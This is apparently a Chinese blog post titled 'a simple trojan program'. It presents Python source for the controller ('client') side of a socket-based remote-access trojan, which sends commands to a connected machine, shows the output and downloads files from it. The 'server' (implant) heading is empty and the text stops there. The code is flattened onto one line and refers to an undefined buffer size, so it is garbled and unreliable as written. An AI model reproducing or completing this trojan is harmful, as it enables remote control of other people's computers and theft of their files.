一个简单的木马程序

绝大多数的木马程序都是基于Socket来实现的

废话少说直接上代码！

代码：

client部分：

# -*- coding: UTF-8 -*-import socketimport sysimport reimport osclass Client:    def __init__(self, serverIp, serverPort):        self.serverIp = serverIp  # 待连接的远程主机的域名        self.serverPort = serverPort    def connet(self):  # 连接方法        try:            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        except socket.error as e:            print("Failed to create socket. Error: %s" % e)        try:            s.connect((self.serverIp, self.serverPort))            while True:                message = input('> ')  # 接收用户输入                if not message:                    break                s.send(bytes(message, 'utf-8'))  # 发送命令                data = s.recv(self.bufferSize)  # 接收数据                if not data:                    break                if re.search("^0001", data.decode('utf-8', 'ignore')):  # 判断数据类型                    print(data.decode('utf-8')[4:])                else:  # 文件内容处理                    s.send("File size received".encode())  # 通知服务端可以发送文件了                    file_total_size = int(data.decode())  # 总大小                    received_size = 0                    f = open("new" + os.path.split(message)[-1], "wb")  # 创建文件                    while received_size < file_total_size:                        data = s.recv(self.bufferSize)                        f.write(data)  # 写文件                        received_size += len(data)  # 累加接收长度                        print("已接收:", received_size)                    f.close()  # 关闭文件                    print("receive done", file_total_size, " ", received_size)        except socket.error:            s.close()            raise  # 退出进程        finally:            s.close()if __name__ == '__main__':    cl = Client('127.0.0.1', 8800)    cl.connet()    sys.exit()  # 退出进程

server部分：
